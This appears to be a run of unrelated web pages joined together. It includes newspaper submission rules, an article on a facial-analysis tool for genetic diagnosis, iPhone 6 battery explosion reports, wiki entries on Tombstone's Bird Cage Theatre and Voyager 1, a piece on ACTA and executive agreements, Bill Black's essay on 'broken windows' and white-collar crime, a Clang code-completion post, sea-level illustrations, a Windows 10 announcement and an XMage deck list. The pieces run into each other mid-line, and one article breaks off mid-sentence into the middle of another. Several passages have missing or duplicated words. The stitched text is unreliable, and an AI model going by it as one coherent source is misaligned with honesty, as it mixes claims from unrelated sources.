Send Community Perspective submissions by mail (P.O. Box 70710, Fairbanks AK 99707) or via email ([email protected]). Submissions must be 500 to 750 words. Columns are welcome on a wide range of issues and should be well-written and well-researched with attribution of sources. Include a full name, email address, daytime telephone number and headshot photograph suitable for publication (email jpg or tiff files at 150 dpi.) You may also schedule a photo to be taken at the News-Miner office. The News-Miner reserves the right to edit submissions or to reject those of poor quality or taste without consulting the writer.
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Send letters to the editor by mail (P.O. Box 70710, Fairbanks AK 99707), by fax (907-452-7917) or via email ([email protected]). Writers are limited to one letter every two weeks (14 days.) All letters must contain no more than 350 words and include a full name (no abbreviation), daytime and evening phone numbers and physical address. (If no phone, then provide a mailing address or email address.) The Daily News-Miner reserves the right to edit or reject letters without consulting the writer.Parents who suspect that their child may have a genetic disorder have a new tool in their physician's diagnostic arsenal. One British physician has improved on an old practice of examining a person's face to look for traits that come from genetic disorders.
It's true. The shape of your face, along with certain facial characteristics, can be a sign that you suffer from a genetic disorder. As many as 17,000 genetic disorders have been diagnosed [source: Deccan Herald]. Around 700 of these diagnosed disorders display abnormal facial characteristics [source: Daily Mail]. A classic example is the genetic disorder Down syndrome. This condition occurs when children inherit an extra copy of chromosome 21, giving them 47 chromosomes, rather than the usual 46. Doctors can easily diagnose Down syndrome due to the unique facial and cranial characteristics associated with it. But what about rarer disorders?
Dr. Peter Hammond created a computer program to make diagnosing some of these rare disorders easier. The program provides an accurate diagnosis, which can help parents make better decisions about treatment and genetic counseling for their child.
Dr. Hammond spent the last seven years traveling the globe collecting images of people with genetic disorders and entering them into a database he compiled. The program takes photos of children who share a genetic disorder, usually a series of 30 to 50, and creates a three-dimensional composite image for that disorder. When a physician encounters a suspected genetic disorder that has him stumped, he can introduce a photo of his patient into Hammond's database. The program examines facial traits, like the distance between eyes and the width of the nose, and compares traits found in the patient's image to those of the composites and comes up with possible diagnoses. As a control, Hammond also fed into his database images of children without a genetic disorder, creating a composite of a "normal" child.
For 30 of the 700 facially characteristic disorders, Hammond's program offers around 90 percent accuracy in diagnosis. These are generally the most easily recognizable conditions, such as Williams syndrome. People who suffer from this genetic disorder have short, upturned noses and mouths, along with a small jaw and a large forehead.
Williams syndrome is pretty rare -- some studies say it occurs in one out of every 7,500 births, while others say it's one in 10,000 births [source: OMIM]. But other genetic disorders are even rarer. For a doctor faced with a baffling condition that he has not encountered before, Hammond's program offers a chance to narrow the field. Determining which genes are associated with the possible diagnoses cuts down on the number of tests required to pinpoint the disorder. This can be important for worried parents who want to know what their child suffers from, as genetic tests can cost hundreds or thousands of dollars each [source: Science Direct].
Hammond's database has already discovered a new characteristic in autistics that can be used to diagnose autism spectrum disorder. The program found a "lopsided" effect in autistic people -- the result of one side of the brain being larger than the other side. The inventor-physician says he plans to further hone his database to be able to include factors like race and gender [source: BBC].
While his work is definitely furthering the field of medical diagnosis of genetic disorders, Hammond is actually building on an old foundation. Read on to find out about dysmorphology, the study of physical characteristics to diagnose disorders, as well as genetic counseling.New iPhone 6 blew up, claims user in Gurgaon The user, Kishan Yadav, a resident of Wazirabad, Delhi, claims that he did not sustain injuries since he was using a headset at the time of the incident.
NEW DELHI: Gareth Clear, a management consultant from Sydney, Australia, has reportedly suffered severe burn injury after his iPhone 6 exploded. According to a report in The Daily Telegraph, the smartphone which was in Clear's back pocket caught fire after he fell from his bike, landing on his iPhone 6."Seconds later he noticed smoke and a searing heat, before hearing an explosion as the phone he’d had for just six months ignited, melting through his shorts and two layers of skin on his upper right thigh," says the news report.The injury is said to be so serious that Clear had to undergo skin graft at Royal North Shore Hospital, Sydney.Clear told The Daily Telegraph that while the back of smartphone was completely damaged with "metal bending and all the lithium leaking out of the bottom end", the top remained "perfectly intact". Apple reportedly told Clear that the company will be carrying an investigation into the incident.On his part, Clear has taken to Twitter to spread the message about the dangers of lithium-ion batteries. "The more pervasive these are in our lives and the more people use them with a lack of apprehension that something might go wrong, the more that these things will happen," he told technology website CNET.In June 2015 too, a person called Kishan Yadav had claimed that his iPhone 6 exploded during a hands-free phone call. He is said to have survived unscathed after he threw his device out of his car's window.The Bird Cage Theatre was a theater in Tombstone, Arizona.[1] It operated intermittently from December of 1881 to 1894. When the silver mines closed, the theatre was also closed in 1892. It was leased as a coffee shop starting in 1934.
History [ edit ]
The Bird Cage Theatre opened on December 26, 1881. It was owned by Lottie and William "Billy" Hutchinson. Hutchison, a variety performer, originally intended to present respectable family shows like he'd seen in San Francisco that were thronged by large crowds. After the Theatre opened, they hosted a Ladies Night for the respectable women of Tombstone, who could attend for free. But the economics of Tombstone didn't support their aspirations. They soon canceled the Ladies Night and began offering baser entertainment that appealed to the rough mining crowd.[2]
Entertainment [ edit ]
Bird Cage Poker Table where the longest poker game was played
One of the first acts at the Birdcage was Mademoiselle De Granville (Alma Hayes),[3] also known as the "Female Hercules" and "the woman with the iron jaw". She performed feats of strength, specializing in picking up heavy objects with her teeth. Other acts included the Irish comic duo Burns and Trayers (John H. Burns and Matthew Trayers), comic singer Irene Baker, Carrie Delmar, a serious opera singer, and comedian Nola Forest. Entertainment included masquerade balls featuring cross—dressing entertainers, like comedians David Waters and Will Curlew. Miners could drink and dance all night if they chose.[2]
Longest poker game [ edit ]
The longest poker game in history was played in the basement of the theater. Those who wished to play had to pay a thousand dollars ($1,000) up front. Among the notable people who played in this particular game was George Hearst, Diamond Jim Brady, Adolphus Busch, Doc Holliday, Bat Masterson, and Wyatt Earp. The poker game in itself was played continuously 24 hours a day, 7 days a week. It continued from 1881 to 1889 for a total of 8 years. It is estimated that approximately $10 million dollars was exchanged in the game during the 8 years that it lasted and that the Bird Cage retained 10 percent of that money.[4][5]
Closing [ edit ]
In March 1882, miners in the Grand Central Mine hit water at 620 feet (190 m). The flow wasn't at first large enough to stop work, but constant pumping with a 4 inches (100 mm) pump was soon insufficient. The silver ore deposits they sought were soon underwater.[6] Hutchinson sold the Birdcage to Hugh McCrum and John Stroufe. Bignon had managed the Theatre Comique in San Francisco and performed as a blackface minstrel and clog dancer. He refurbished the building and renamed it the Elite Theatre. He hired new acts. Bignon's wife, known as "Big Minnie", was 6 feet (1.8 m) tall and weighed 230 pounds (100 kg). She wore pink tights and sang, danced, played the piano.
The large Cornish engines brought in by the mine owners kept the water pumped out of the mines for a few more years, but on May 26, 1886, the Grand Central Mine hoist and pumping plant burned.[6] When the price of silver slid to 90 cents an ounce a few months later, the remaining mines laid off workers. Many residents of Tombstone left.[6] The Bird Cage Theatre closed in 1892.[2]
The theater is reported to be haunted. It was featured in the paranormal investigation shows Ghost Hunters in 2006, Ghost Adventures in 2009 and 2015, Ghost Lab in 2009, and Fact or Faked: Paranormal Files in 2011.[7][8]
Gallery [ edit ]
The Bird Cage circa 1940
The box seats
Stage
Museum
The basement poker room
Although not the original bar to the theatre, this is an original Bar to Tombstone. It was placed here in 1935, where the original bar stood.
"Fatima", which is advertised as a belly dancer who performed there, is actually a painting done by a local man in 1882, M. Vaccari. It is a copy of a painting called "A Dream at the Alhambra" by Henry Humphrey Moore, a painting which won first price at the 1867 Paris Exposition. The scene takes place in the Alhambra Palace in Granada, Spain. Vaccari authored this copy which was raffled off at the Crystal Palace in 1882. Fast forward, it ends up in the hands of Mayor Cummings who owned the Bird Cage building and used it as a storage unit through the 20s and early 30s. Many of Cumming's collected items make up the contents of the Bird Cage which can be seen today, including this famous painting. It in no way is connected to any performer or performance type seen at the Bird Cage. Belly dancing was not introduced to the United States until the 1893 Columbian Exposition in Chicago.
Staircase to the Birdcage box seats
The dumbwaiter
One of the box seats
The original faro table
The faro table's "honest box"
Box seat
The original 1881 rosewood piano sits before the stage
One of the two downstairs dressing rooms
References [ edit ]
Coordinates:In Costa Rica there is a bridge over the Tarcoles river filled with American crocodiles. The river runs through Carara National Park and empties into the Gulf of Nicoya. Tourists traveling over the bridge often park nearby and walk the narrow sidewalk to get a look at crocodiles who grow to over eighteen feet long. During the day, the crocodiles sun themselves and conserve energy for nighttime hunts.
My photography heroes have always been people like Andy Mann or Paul Nicklen. National Geographic photographers and conservationists who go to great lengths to photograph animals up close. It’s not about the thrill and defiance of common sense, it’s about showing animals from a perspective very few have experienced. These brave photographers hope to create a connection between the viewer and the animals, so that their protection becomes a priority in our own lives. You may look into the eyes of these crocodiles and see no emotion and find it hard to relate, but it’s this biodiversity and breadth of experience that makes our world interesting and so worth protecting.Mission background Edit
Mission profile Edit
Exit from the heliosphere Edit
Interstellar medium Edit
Voyager 1 transmitted audio signals generated by transmitted audio signals generated by plasma waves from interstellar space On September 12, 2013, NASA officially confirmed that Voyager 1 had reached the interstellar medium in August 2012 as previously observed, with a generally accepted date of August 25, 2012 (~10d short of 34yrs since launch), the date durable changes in the density of energetic particles were first detected.[62][63][64] By this point most space scientists had abandoned the hypothesis that a change in magnetic field direction must accompany crossing of the heliopause;[63] a new model of the heliopause predicted that no such change would be found.[74] A key finding that persuaded many scientists that the heliopause had been crossed was an indirect measurement of an 80-fold increase in electron density, based on the frequency of plasma oscillations observed beginning on April 9, 2013,[63] triggered by a solar outburst that had occurred in March 2012[60] (electron density is expected to be two orders of magnitude higher outside the heliopause than within).[62] Weaker sets of oscillations measured in October and November 2012[72][75] provided additional data. An indirect measurement was required because Voyager 1's plasma spectrometer had stopped working in 1980.[64] In September 2013, NASA released recordings of audio transductions of these plasma waves, the first to be measured in interstellar space.[76] While Voyager 1 is commonly spoken of as having left the Solar System simultaneously with having left the heliosphere, the two are not the same. The Solar System is usually defined as the vastly larger region of space populated by bodies that orbit the Sun. The craft is presently less than one-seventh the distance to the aphelion of Sedna, and it has not yet entered the Oort cloud, the source region of long-period comets, regarded by astronomers as the outermost zone of the Solar System.[61][72]
Future of the probe Edit
Voyager 1's radio signal on February 21, 2013[77] Image of's radio signal on February 21, 2013 Simulated view of Voyager 1 relative to the Solar System on August 2, 2018. Simulated view of the Voyager probes relative to the Solar System and heliopause on August 2, 2018. Voyager 1 is expected to reach the theorized Oort cloud in about 300 years[78][79] and take about 30,000 years to pass through it.[61][72] Though it is not heading towards any particular star, in about 40,000 years, it will pass within 1.6 light-years of the star Gliese 445, which is at present in the constellation Camelopardalis.[80] That star is generally moving towards the Solar System at about 119 km/s (430,000 km/h; 270,000 mph).[80] NASA says that "The Voyagers are destined—perhaps eternally—to wander the Milky Way."[81] Provided Voyager 1 does not collide with anything and is not retrieved, the New Horizons space probe will never pass it, despite being launched from Earth at a faster speed than either Voyager spacecraft. The Voyager spacecraft benefited from multiple planetary flybys to increase their heliocentric velocities, whereas New Horizons received only a single such boost, from its Jupiter flyby. As of 2018, New Horizons is traveling at about 14 km/s, 3 km/s slower than Voyager 1, and is still slowing down.[82] In December 2017 it was announced that NASA had successfully fired up all four of Voyager 1's trajectory correction maneuver (TCM) thrusters. The TCM thrusters will be used in the place of a degraded set of jets which were used to help keep the probe's antenna pointed towards the Earth. Use of the TCM thrusters will allow Voyager 1 to continue to transmit data to NASA for two to three more years.[83][84] Year End of specific capabilities as a result of the available electrical power limitations[85] 2007 Termination of plasma subsystem (PLS) 2008 Power off Planetary Radio Astronomy Experiment (PRA) 2016[86] Termination of scan platform and Ultraviolet Spectrometer (UVS) observations 2018 approx. Termination of Data Tape Recorder (DTR) operations (limited by ability to capture 1.4 kbit/s data using a 70 m/34 m antenna array; this is the minimum rate at which the DTR can read out data) 2019–2020 approx. Termination of gyroscopic operations (previously 2017, but backup thrusters active for continuation of gyroscopic operations.) 2020 Start shutdown of science instruments (as of October 18, 2010 the order is undecided, however the Low-Energy Charged Particles, Cosmic Ray Subsystem, Magnetometer, and Plasma Wave Subsystem instruments are expected to still be operating)[87] 2025–2030 Will no longer be able to power even a single instrument.
Golden record Edit
See also EditNew Petition Asks White House To Submit ACTA To The Senate For Ratification
from the as-required-under-the-constitution dept
As we noted in our post about people just discovering ACTA this week, some had put together an odd White House petition, asking the White House to "end ACTA." The oddity was over the fact that the President just signed ACTA a few months ago. What struck us as a more interesting question was the serious constitutional questions of whether or not Obama is even allowed to sign ACTA.In case you haven't been following this or don't spend your life dealing in Constitutional minutiae, the debate is over the nature of the agreement. Abetween the US and other nations requires Senate approval. However, there's a "simpler" form of an international agreement, known as an "executive agreement," which allows the President to sign the agreement without getting approval. In theory, this also limits the ability of the agreement to bind Congress. In practice... however, international agreements are international agreements. Some legal scholars have suggested that the only difference between a treaty and an executive agreement is the fact that... the president calls any treaty an "executive agreement" if he's unsure if the Senate would approve it. In other words, the difference is basically in how the President presents it.That said, even if Obama has declared ACTA an executive agreement (while those in Europe insist that it's a binding treaty ), there is a very real Constitutional question here: can it actually be an executive agreement? The law is clear that the only things that can be covered by executive agreements are things that involve items that areunder the President's mandate. That is, you can't sign an executive agreement that impacts the things Congress has control over. But here's the thing: intellectual property, in Article 1, Section 8 of the Constitution, is an issue given to, not the President. Thus, there's a pretty strong argument that the president legallysign any intellectual property agreements as an executive agreement and, instead,submit them to the Senate.This is why Senator Wyden has asked the President to explain why Congress has been cut out. Scholars have noted their concern that if allowed, this will open the door to allowing the president to regularly route around Congress on international agreements. Even more amusing, Vice President Joe Biden, back when he was just Senator Joe Biden, was one of the most outspoken critics of an attempt by President Bush to use an executive agreement on a weapons treaty -- forcing Bush to take the agreement to the Senate. Yet here, he stays quiet.Either way, it looks like folks have figured this out, and there's now a new White House petition, demanding that ACTA be brought to the Senate before it can be ratified/signed by the US. This petition should be a lot more interesting than the other one if it gets enough signatures (so encourage people to sign, please!).
Filed Under: acta, constitution, executive agreement, petition, ratification, treaty, white houseNew album title proves too rude for some US supermarkets
Arctic Monkeys‘ new album ‘Suck It And See’ has been deemed “too rude” by some American supermarkets and will be sold with a sticker over the title.
The band, speaking to XFM, said a number of major US supermarkets had |
theory’s potential. Such an application, however, would have been outside Wilson’s comfort zone. Wilson tended to use the word “crime” to refer exclusively to blue collar crime and his emphasis was on very low status criminals. In a book entitled, Thinking About Crime, Wilson argued that criminology should focus overwhelmingly on low-status blue collar criminals.
This book [does not deal] with “white collar crimes”…. Partly this reflects the limits of my own knowledge, but it also reflects my conviction, which I believe is the conviction of most citizens, that predatory street crime is a far more serious matter than consumer fraud [or] antitrust violations … because predatory crime … makes difficult or impossible maintenance of meaningful human communities (1975: xx).
I am rather tolerant of some forms of civic corruption (if a good mayor can stay in office and govern effectively only by making a few deals with highway contractors and insurance agents, I do not get overly alarmed)…. (1975: xix).
Notice that Wilson’s explanation is antithetical to his “broken windows” reasoning. There are, of course, relatively minor white-collar crimes. Wilson emphasized that it was the willingness of society to tolerate relatively minor blue collar crimes that led to social disintegration and epidemics of severe blue collar crimes, but he engaged in the same willingness to tolerate and excuse less severe white collar crimes. He predicted in his work on “broken windows” that tolerating widespread smaller crimes would lead to epidemic levels of larger crimes because it undermined community and social restraints. The epidemics of elite white collar crime that have driven our recurrent, intensifying financial crises have proven this point. Similarly, corruption that is excused and tolerated by elites is unlikely to remain at the level of “a few deals.” Corruption is likely to spread in incidence and severity precisely because it undermines community and the rule of law and it is likely to grow more pervasive and harmful the more we “tolera[te]” it.
“Broken windows” theory, in the white collar crime context, would lead us to make the prevention and deterrence of consumer frauds and anti-trust violations through prosecutions a high priority because of their tendency to produce a “Gresham’s” dynamic in which businesses or CEOs that cheat gain a competitive advantage and bad ethics drives good ethics out of the markets. These offenses degrade ethics and erode peer restraints on misconduct.
The ongoing crisis demonstrates that anti-consumer frauds are a direct assault on community. Mortgage fraud – and it was overwhelmingly the lenders and their agents who put the lies in millions of liar’s loans – physically and socially destroy community by producing mass defaults, homelessness, and vacant homes.
Taking Wilson’s “broken windows” reasoning seriously in the elite white collar crime context would require us to take a series of prophylactic measures to restore integrity and strengthen peer pressures against misconduct. Indeed, we have implicitly tested the applicability of “broken windows” reasoning in that context by adopting policies that acted directly contrary to Wilson’s reasoning. We have adopted executive and professional compensation systems that are exceptionally criminogenic. We have excused and ignored the endemic “earnings management” that is the inherent result of these compensation policies and the inherent degradation of professionalism that results from allowing CEOs to create a Gresham’s dynamic among appraisers, auditors, credit rating agencies, and stock analysts. The intellectual father of modern executive compensation, Michael Jensen, now warns about his Frankenstein creation. He argues that one of our problems is dishonesty about the results. Surveys indicate that the great bulk of CFOs claim that it is essential to manipulate earnings. Jensen explains that the manipulation inherently reduces shareholder value and insists that it be called “lying.” I have seen Mary Jo White, the former U.S. Attorney for the Southern District of New York, who now defends senior managers, lecture that there is “good” “earnings management.”
Fiduciary duties are critical means of preventing broken windows from occurring and making it likely that any broken windows in corporate governance will soon be remedied, yet we have steadily weakened fiduciary duties. For example, Delaware now allows the elimination of the fiduciary duty of care as long as the shareholders approve. Court decisions have increasingly weakened the fiduciary duties of loyalty and care. The Chamber of Commerce’s most recent priorities have been to weaken Sarbanes-Oxley and the Foreign Corrupt Practices Act. We have made it exceptionally difficult for shareholders who are victims of securities fraud to bring civil suits against the officers and entities that led or aided and abetted the securities fraud. The Private Securities Litigation Reform Act of 1995 (PSLRA) has achieved its true intended purpose – making it exceptionally difficult for shareholders who are the victims of securities fraud to bring even the most meritorious securities fraud action.
The Supreme Court has held that banks and other entities that aid and abet securities fraud are immune from suit by the victims of securities fraud. Only the federal government may sue those that aid and abet fraud. The federal government has cut the number of financial fraud prosecutions by over one-half over the last twenty years even as financial fraud has grown massively. No elite CEO leading a control fraud that helped drive the current crisis has even been indicted. Elite CEOs can defraud with near impunity and become wealthy. Elite white collar fraud is a “sure thing” – the only strategy likely to make a mediocre CEO wealthy and famous.
Because Wilson did not research elite white collar crimes he did not direct his formidable intellectual energies and expertise to the study of who could prevent the breaking of corporate windows and repair those that were broken. This was a great loss because his studies of varieties of police behavior in response to blue collar crime are justly famous among criminologists. The central truth he would have quickly recognized had he thought of seeking to reduce elite white collar crimes is that only the financial regulators can serve as the “regulatory cops on the beat.” The police do not deal with elite white collar crimes. A small cadre of FBI special agents works on elite white collar crimes. There are roughly three special agents assigned to white collar crime investigations per industry in the U.S., so they never “patrol a beat.” They investigate only when someone brings a possible white collar crime to their attention. That means whistleblowers, but it overwhelmingly means criminal referrals from the federal financial regulators. Financial institutions may make criminal referrals against their customers, but they will virtually never make them against their CEOs. Only the regulators can make the thousands of criminal referrals against elite white collar criminals essential to a successful prosecutorial effort against the epidemics of accounting control fraud that drive our worst financial crises. In the lead up to the ongoing crisis we gutted the federal regulators, preempted the state regulators, and appointed anti-regulators to head the agencies. A majority of the U.S. House of Representatives is trying to further gut the Commodities Futures Trading Commission (CFTC). If we want to stop the criminals who are destroying our economy and our communities by breaking windows on an epic scale the first step is to rebuild a regulatory force committed to serving as the essential “cops on the beat.”
I listened in stunned amazement to the presentations of law professors who specialize in white collar crime and securities law at the two annual meetings that followed the ongoing financial crisis. Virtually every speaker in these sections presented arguments calling for reducing white collar criminal liability and liability for securities fraud. At the time they were speaking, the Justice Department had already ceased prosecuting major firms and the SEC brought a pathetically high percentage of its small number of enforcement actions against tiny firms with fewer than 10 employees.
We have systematically reduced effective peer restraints in our most important controls against financial fraud. Law firms, audit firms, and investment banks used to be professional partnerships. Each partner was potentially liable for any firm misconduct, which maximized the incentive to insist on higher levels of integrity. These firms are now virtually all corporations or limited liability partnerships. The incentive of partners to monitor other partners’ actions to ensure their integrity has largely been lost.
In the elite white collar crime context we have been following the opposite strategy of that recommended under “broken windows” theory. We have been breaking windows. We have excused those who break the windows. Indeed, we have praised them and their misconduct. The problem with allowing broken windows is far greater in the elite white collar crime context than the blue collar crime context. The squeegee guys make tiny amounts of money and are hated and politically powerless. The mediocre financial CEO who engages in accounting control fraud because it is a “sure thing” causes the bank to report record (albeit fictional) profits and becomes wealthy and politically powerful. He uses his wealth to make charitable and political contributions that make him far harder to sanction. He claims that any crackdown on him is “class warfare” by “neo-Bolsheviks.” Incredibly, the Wall Street Journal continues to serve as the cheerleader and apologist for those who become wealthy by breaking windows, communities, and economies.
Wilson warned of blue collar “super predators.” He called them “feral” – wild animals. These criminals are in fact dangerous, but they are odd candidates for the title of “super predators.” Wilson noted that they were disproportionately black and that they were confined almost entirely to the poorest neighborhoods in America where their pickings are poor. Accounting control frauds occupy Wall Street and other financial centers – the richest neighborhoods in the world. Their “take” from fraud is extraordinary. The blue collar criminals that occupied Wilson’s attention late in his career were politically and socially powerless. The fraudulent CEOs that drive our recurrent, intensifying financial crises are wealthy and socially and politically dominant.
Wilson had a fabulous career and added greatly to the policy debate about how to respond to blue collar crime. Our most fitting tribute to him and contribution to his legacy would be to apply his “broken window” theory to the elite white collar crimes and criminals that drive our financial crises. The troubling paradox is that the strongest proponents of “broken windows” theory and policies in the blue collar crime context are the strongest opponents of applying analogous policies in the elite white collar crime context. The Wall Street Journal is the most prominent example of this class-based incoherence.
Bill Black is the author of The Best Way to Rob a Bank is to Own One and an associate professor of economics and law at the University of Missouri-Kansas City. He spent years working on regulatory policy and fraud prevention as Executive Director of the Institute for Fraud Prevention, Litigation Director of the Federal Home Loan Bank Board and Deputy Director of the National Commission on Financial Institution Reform, Recovery and Enforcement, among other positions.
Bill writes a column for Benzinga every Monday. His other academic articles, congressional testimony, and musings about the financial crisis can be found at his Social Science Research Network author page and at the blog New Economic Perspectives.
Follow him on Twitter: @WilliamKBlackI have landed some improvements to Clang so that it can provide better code completion for C++:
This comes in Clang 3.7 revision 227309. The specific area improved regards parametric information that can be useful when inserting arguments.
This functionality can be easily tried in the command line using the c-index-test tool that comes with Clang. For example, for the following code:
#include <iostream> template <class T> class SadBart { public: SadBart(T lesson) : lesson(lesson) { } template <class U> void operator()(std::ostream &os, U width, U height) { while (height --> 0) { auto w = width; while (w --> 0) if (w > 0) os << lesson <<''; else os << lesson; os << '
'; } } private: T lesson; }; int main() { SadBart<int>(42)(std::cout, 4, 2); } ^ ^ ^ ^
these are the relevant results when running c-index-test using the four spots highlighted in the source code:
c-index-test -code-completion-at=playground.cpp:27:18 playground.cpp OverloadCandidate:{Text SadBart}{LeftParen (}{CurrentParameter int lesson}{RightParen )} (1) OverloadCandidate:{Text SadBart}{LeftParen (}{CurrentParameter const SadBart<int> &}{RightParen )} (1))})} c-index-test -code-completion-at=playground.cpp:27:22 playground.cpp OverloadCandidate:{ResultType void}{Text operator()}{LeftParen (}{CurrentParameter std::ostream &os}{Comma, }{Placeholder U width}{Comma, }{Placeholder U height}{RightParen )} (1) c-index-test -code-completion-at=playground.cpp:27:32 playground.cpp OverloadCandidate:{ResultType void}{Text operator()}{LeftParen (}{Placeholder std::ostream &os}{Comma, }{CurrentParameter U width}{Comma, }{Placeholder U height}{RightParen )} (1) c-index-test -code-completion-at=playground.cpp:27:35 playground.cpp OverloadCandidate:{ResultType void}{Text operator()}{LeftParen (}{Placeholder std::ostream &os}{Comma, }{Placeholder int width}{Comma, }{CurrentParameter int height}{RightParen )} (1))}
A new CXCursorKind is provided in the libclang API, CXCursor_OverloadCandidate, so that one can grab the results that refer specifically to the overloads that apply for the current context.
For more details about the Vim plugin check my YouCompleteMe fork.
For argument hints a little bit faster than official Clang take a look at this change I'm mantaining at a branch in my own fork. You can use it if you care about some milliseconds.Illustration by Nikolay Lamm/Climate Central
Last week, researchers announced that six major glaciers in West Antarctica have “passed the point of no return” and have begun “early-stage collapse.” It’s the kind of news we’ve come to expect from climate change, but the stark language and eye-popping implications made the news feel a little bit different.
To me, “collapse” and “point of no return” conjures up the mental image of humanity riding a freight train off a cliff. While those words are surely frightening, in this case the good news (if you can call it that) is that full-on collapse and the resulting 10 to 13 feet of sea level rise from an Antarctica with less ice will be a relatively slow process, at least on the scale that you or I could perceive in our lifetimes. Still, the realization that this change is now inevitable came as a shock to many of us.
As Slate’s Phil Plait wrote in his excellent summary of the science behind why this is happening, the melting is “yet another piece in a long, long chain of evidence showing that the planet is warming and the effects of this change are vast and far-reaching.” But that doesn’t mean we should give up hope: just because the catastrophic sea level rise train has left the station doesn’t mean it’s too late to make a big dent in warding off other consequences of climate change.
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In an attempt to help comprehend the changes we’re imparting on our planet, last year Climate Central collaborated with graphic artist Nikolay Lamm to produce a stunning series of sea level rise visualizations that are essentially photos from the future.
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One of Lamm’s scenarios—12 feet of sea level rise—is now squarely in the middle of projections, given last week’s news on Antarctica. To visualize what this change might bring to some iconic U.S. places, Lamm did a series of before-and-after photo illustrations. He explains his process here.
The result is striking. America, this is what you might look like circa the year 2300.
All illustrations by Nikolay Lamm/Climate Central.
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Boston, Back Bay
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Boston, Harbor Hotel
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Boston, Harvard Campus
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New York City
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Washington, D.C., Jefferson Memorial
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Washington, D.C., Washington Monument
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Charleston, S.C., The Citadel
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Miami Beach, Ocean Drive
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Miami Beach, South Beach
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San Francisco, AT&T Park
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San Francisco, Crissy Field
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San Francisco, Crissy Field, at ground level
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Los Angeles, Venice Beach
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* * *A New Era of Windows 10 Devices from Microsoft By Terry Myerson / Executive Vice President, Windows and Devices Group Share Share Skype
We’ve been talking about Windows 10 for over a year now and today we started our next chapter, with new devices designed for Windows 10.
Today I stood on stage in NYC along with members of my team and had the honor of unveiling a new era of Windows 10 devices from Microsoft. We introduced new Surface, Lumia, and Band devices and shared the latest from HoloLens, and Xbox. I’ve been using these devices for months and couldn’t wait to share them with you today.
Windows 10: Off to the Hottest Start in History
In just a few short months, it’s been incredible to see more than 110 million devices already running Windows 10. I’m personally humbled and excited to see people around the world loving Windows 10. Thank you for your feedback – the team and I love reading it and using it to help us shape the future of Windows.
We’re seeing a great response from IT professionals, with over 8 million business PCs already running Windows 10.
I’ve also been thrilled to see the response from developers and people enjoying everything our new Windows Store has to offer. With over 1.25 billion visits, developers are seeing the benefits – with developer revenue per download increasing four times since Windows 10 launched. This early activity is attracting new universal Windows apps to Windows 10. Today, we announced Facebook will be building universal Windows apps for Facebook, Instagram, and Facebook Messenger. And, we’re excited to welcome new universal Windows apps for Shazam, Box, Candy Crush Soda Saga, Flipagram, NASCAR, Uber and many, many more.
New Windows 10 Devices from Microsoft
Our approach to hardware is to create and reinvent categories – like we did with Xbox and Xbox Live, with Surface being the tablet that can replace your laptop, with Lumia and Continuum, with Surface Hub, and of course with HoloLens being the only platform enabling you to mix holograms into your world.
Today, we unveiled a range of new devices, all built to make the most of Windows 10:
Surface Book – the new, ultimate laptop from Microsoft brings together best in class performance with the versatility of pen and touch.
Surface Pro 4 – the tablet that can replace your laptop just got thinner, lighter and faster.
New Lumia Phones – the Lumia 950 and Lumia 950 XL combine Windows 10 innovation with our most powerful hardware and top-of-the-line imaging to help you be more productive. And the Lumia 550, our most affordable 4G LTE smartphone running Windows 10.
Lumia 950 and Lumia 950 XL
Lumia 550
Microsoft Band 2 – the new Band can help you live healthier and achieve more with a new curved screen, a barometer, and apps for email, text, running, biking, the gym, and golf.
Microsoft HoloLens Development Edition – designed to help Windows developers mix holograms into their world.
Xbox One – With an upcoming update bringing Windows 10 to Xbox One, backward compatibility, hot games, all new bundles and the most advanced controller we’ve ever created for Xbox One and Windows 10.
Looking Forward
Last month, our device partners built more Windows devices than they ever have before in the history of Windows and since launch, we’ve been excited to see share increases for Windows at retail.
And over the next couple of weeks, we’ll be joining some of our partners around the globe as they unveil their holiday device lineup, with great new devices from Acer, ASUS, Dell, Fujitsu, HP, Lenovo, LG, Panasonic, Toshiba, and more. Our partners have built some amazing new devices – and we have an exciting few weeks ahead of us as they unveil.
With the depth and breadth of Windows 10 devices coming this holiday and beyond, from low cost budget PCs to premium and elegantly designed high performance hardware, we hope you’ll consider a Windows 10 device from Microsoft or our partners.
Terry
Updated February 16, 2018 8:37 amGauntlet
“A group of decks that are expected in a metagame, or top decks to playtest against.” — MTGSalvation definition of Gauntlet
This is the first of a series where I provide an all-in-one download containing decks in Vintage, Legacy, Modern, Pauper, and Standard, for use with the XMage client.
The idea is to give a nice, clean download which users of XMage can grab and immediately use to expand deck options and increase the fun/value of the software.
At the moment the word “gauntlet” may be a bit of an exaggeration, but, as you can see from the decklists (below), it’s a solid start.
Over time the package will grow in size and once I’ve nailed down all the format archetypes I will be able to focus on maintaining the lists, keeping up with the fast-moving world of Standard, introducing topical rogue decks, and expanding scope to Commander, Tiny Leaders, and Historic Standard. That’s the intention anyway – it may take a while.
Instructions
1. Click the above image to download the.zip file.
2. Extract it anywhere you like.
3. In XMage find where you put the files and open the decks.
4. Enjoy a bunch of cool new decks to use!
Vintage Decks
Dredge
Merfolk
Workshops
The eight decklists from the Vintage Super League season 3:
Burning Oath
Doomsday (x2)
Fro-Bots (x2)
Grixis Therapy
Land-Still
Martello Shops
Legacy Decks
Miracles (Traditional / Monastery)
Omnitell
Esper Stoneblade
RUG Delver
Shardless BUG
Death & Taxes
Elves
Painter
12-Post
Lands
Grixis Delver
ANT
Burn
MUD
Infect
Merfolk
Sylvan Plug
Deadguy Ale
Reanimator
Modern Decks
Grixis Twin
Infect
Abzan Company
Jund
Affinity
Merfolk
Death & Taxes
Nacatl Burn
Amulet Bloom
Bogles
Scapeshift
Storm
UWR Control
UB Faeries
Pauper Decks
Stompy
Delver
Mono-Black Control
Affinity
Familiar
Delver Fiend
Angler Delver
Goblins
Green White Hexproof
Simic Flicker
Standard Decks
Abzan Aggro
Abzan Control
Mono Red Burn
Jeskai Tempo
RG Devotion
UR Ensoul Artifact
Esper Dragons
UW Heroic
Mardu Dragons
RG Dragons
UB Control
Hoogland UW Control
* * * * * *
Covering even 50% of the decks in a format in the first release would take more time than I currently have for this but I felt I just had to make a start and have faith I’ll get there, even if for now your favourite deck may be missing (sorry if so!).
